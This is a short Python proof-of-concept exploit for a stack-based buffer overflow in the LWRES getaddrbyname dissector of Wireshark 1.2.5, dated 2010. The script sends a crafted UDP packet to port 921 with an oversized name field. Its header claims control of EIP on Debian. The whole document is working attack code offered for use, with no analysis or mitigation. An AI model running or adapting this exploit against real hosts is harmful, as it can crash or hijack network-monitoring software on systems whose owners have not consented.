Wireshark 1.2.5 LWRES getaddrbyname Buffer Overflow

`#!/usr/bin/env python  
  
# Wireshark 1.2.5 LWRES getaddrbyname stack-based buffer overflow PoC  
# with control over EIP on Debian 5.0.3  
# by babi <[email protected]> on 29 Jan 2010  
# get it at http://www.wireshark.org/download/src/all-versions/wireshark-1.2.5.tar.gz  
  
import socket, sys  
  
try:  
host = sys.argv[1]  
except:  
print "usage: " + sys.argv[0] + " <host>"  
exit(2)  
  
port = 921  
addr = (host, port)  
  
leng = 380  
high = int(leng / 256)  
low = leng & 255  
  
data = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"  
data += "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
data += "\x00\x00\x00\x01"  
data += chr(high) + chr(low) + ("B" * leng) + "\x00\x00"  
  
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
try:  
udps.sendto(data, addr)  
except:  
print "can't lookup host"  
exit(1)  
  
udps.close()  
exit(0)  
`